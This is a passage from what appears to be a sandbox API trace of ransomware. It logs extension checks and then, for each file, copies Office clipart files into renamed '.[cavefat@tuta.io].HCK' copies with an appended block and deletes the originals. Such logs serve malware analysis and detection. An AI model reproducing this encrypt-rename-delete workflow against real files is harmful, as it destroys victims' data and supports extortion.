(lpString=".xlsx") returned 5 [0172.177] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0172.177] lstrlenW (lpString=".ppt") returned 4 [0172.177] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".zip") returned 4 [0172.177] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.177] lstrlenW (lpString=".rar") returned 4 [0172.177] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString=".bz2") returned 4 [0172.177] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString=".7z") returned 3 [0172.177] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".dbf") returned 4 [0172.177] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".1cd") returned 4 [0172.177] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297759.WMF") returned 68 [0172.177] lstrlenW (lpString=".jpg") returned 4 [0172.177] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.177] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.178] lstrlenW (lpString="J0301418.WMF") returned 12 [0172.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.181] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=19034) returned 1 [0172.181] CloseHandle (hObject=0x394) returned 1 [0172.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf")) returned 0x220 [0172.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.188] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.188] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.195] GetLastError () returned 0x0 [0172.195] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4a5a, lpOverlapped=0x0) returned 1 [0172.197] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4a60, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4a60, lpOverlapped=0x0) returned 1 [0172.198] ReadFile (in: hFile=0x394, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.199] WriteFile (in: hFile=0x384, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.199] SetEndOfFile (hFile=0x384) returned 1 [0172.200] CloseHandle (hObject=0x384) returned 1 [0172.201] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.201] SetEndOfFile (hFile=0x394) returned 1 [0172.203] CloseHandle (hObject=0x394) returned 1 [0172.204] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.204] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0301418.wmf")) returned 1 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.207] lstrlenW (lpString=".doc") returned 4 [0172.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".docx") returned 5 [0172.207] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.207] lstrlenW (lpString=".pdf") returned 4 [0172.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".xls") returned 4 [0172.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.207] lstrlenW (lpString=".xlsx") returned 5 [0172.207] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.207] lstrlenW (lpString=".ppt") returned 4 [0172.207] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.207] lstrlenW (lpString=".zip") returned 4 [0172.207] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.207] lstrlenW (lpString=".rar") returned 4 [0172.207] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".bz2") returned 4 [0172.207] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString=".7z") returned 3 [0172.207] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.207] lstrlenW (lpString=".dbf") returned 4 [0172.207] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.207] lstrlenW (lpString=".1cd") returned 4 [0172.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString=".jpg") returned 4 [0172.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString=".doc") returned 4 [0172.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString=".docx") returned 5 [0172.208] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.208] lstrlenW (lpString=".pdf") returned 4 [0172.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString=".xls") returned 4 [0172.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.208] lstrlenW (lpString=".xlsx") returned 5 [0172.208] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.208] lstrlenW (lpString=".ppt") returned 4 [0172.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString=".zip") returned 4 [0172.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.208] lstrlenW (lpString=".rar") returned 4 [0172.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString=".bz2") returned 4 [0172.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString=".7z") returned 3 [0172.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString=".dbf") returned 4 [0172.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString=".1cd") returned 4 [0172.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0301418.WMF") returned 68 [0172.208] lstrlenW (lpString=".jpg") returned 4 [0172.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.208] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.208] lstrlenW (lpString="J0304853.WMF") returned 12 [0172.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.215] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=18958) returned 1 [0172.215] CloseHandle (hObject=0x368) returned 1 [0172.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf")) returned 0x220 [0172.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.225] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.226] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.231] GetLastError () returned 0x0 [0172.231] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x4a0e, lpOverlapped=0x0) returned 1 [0172.234] WriteFile (in: hFile=0x37c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x4a10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4a10, lpOverlapped=0x0) returned 1 [0172.235] ReadFile (in: hFile=0x38c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.235] WriteFile (in: hFile=0x37c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.235] SetEndOfFile (hFile=0x37c) returned 1 [0172.236] CloseHandle (hObject=0x37c) returned 1 [0172.236] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.236] SetEndOfFile (hFile=0x38c) returned 1 [0172.241] CloseHandle (hObject=0x38c) returned 1 [0172.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.242] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0304853.wmf")) returned 1 [0172.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.245] lstrlenW (lpString=".doc") returned 4 [0172.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.245] lstrlenW (lpString=".docx") returned 5 [0172.245] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0172.246] lstrlenW (lpString=".pdf") returned 4 [0172.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".xls") returned 4 [0172.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.246] lstrlenW (lpString=".xlsx") returned 5 [0172.246] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0172.246] lstrlenW (lpString=".ppt") returned 4 [0172.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".zip") returned 4 [0172.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.246] lstrlenW (lpString=".rar") returned 4 [0172.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".bz2") returned 4 [0172.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".7z") returned 3 [0172.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".dbf") returned 4 [0172.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".1cd") returned 4 [0172.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".jpg") returned 4 [0172.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".doc") returned 4 [0172.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".docx") returned 5 [0172.246] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0172.246] lstrlenW (lpString=".pdf") returned 4 [0172.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".xls") returned 4 [0172.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.246] lstrlenW (lpString=".xlsx") returned 5 [0172.246] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0172.246] lstrlenW (lpString=".ppt") returned 4 [0172.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".zip") returned 4 [0172.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.246] lstrlenW (lpString=".rar") returned 4 [0172.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".bz2") returned 4 [0172.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString=".7z") returned 3 [0172.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".dbf") returned 4 [0172.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.246] lstrlenW (lpString=".1cd") returned 4 [0172.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0304853.WMF") returned 68 [0172.247] lstrlenW (lpString=".jpg") returned 4 [0172.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.247] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0172.247] lstrlenW (lpString="J0309567.JPG") returned 12 [0172.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0172.251] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=21580) returned 1 [0172.251] CloseHandle (hObject=0x3b0) returned 1 [0172.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg")) returned 0x220 [0172.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.264] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.264] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.268] GetLastError () returned 0x0 [0172.268] ReadFile (in: hFile=0x384, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x544c, lpOverlapped=0x0) returned 1 [0172.269] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5450, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5450, lpOverlapped=0x0) returned 1 [0172.270] ReadFile (in: hFile=0x384, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.270] WriteFile (in: hFile=0x368, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0172.271] SetEndOfFile (hFile=0x368) returned 1 [0172.271] CloseHandle (hObject=0x368) returned 1 [0172.273] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.273] SetEndOfFile (hFile=0x384) returned 1 [0172.280] CloseHandle (hObject=0x384) returned 1 [0172.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0309567.jpg")) returned 1 [0172.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.283] lstrlenW (lpString=".doc") returned 4 [0172.283] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.283] lstrlenW (lpString=".docx") returned 5 [0172.283] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.283] lstrlenW (lpString=".pdf") returned 4 [0172.283] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.283] lstrlenW (lpString=".xls") returned 4 [0172.283] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.283] lstrlenW (lpString=".xlsx") returned 5 [0172.283] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.283] lstrlenW (lpString=".ppt") returned 4 [0172.283] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.283] lstrlenW (lpString=".zip") returned 4 [0172.283] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.283] lstrlenW (lpString=".rar") returned 4 [0172.283] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0172.283] lstrlenW (lpString=".bz2") returned 4 [0172.283] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0172.283] lstrlenW (lpString=".7z") returned 3 [0172.283] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0172.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.283] lstrlenW (lpString=".dbf") returned 4 [0172.283] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0172.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.283] lstrlenW (lpString=".1cd") returned 4 [0172.283] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0172.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.283] lstrlenW (lpString=".jpg") returned 4 [0172.283] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0172.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.284] lstrlenW (lpString=".doc") returned 4 [0172.284] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0172.284] lstrlenW (lpString=".docx") returned 5 [0172.284] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0172.284] lstrlenW (lpString=".pdf") returned 4 [0172.284] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0172.284] lstrlenW (lpString=".xls") returned 4 [0172.284] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0172.284] lstrlenW (lpString=".xlsx") returned 5 [0172.284] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0172.284] lstrlenW (lpString=".ppt") returned 4 [0172.284] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0172.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0309567.JPG") returned 68 [0172.284] lstrlenW (lpString=".zip") returned 4 [0172.284] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0172.284] lstrlenW 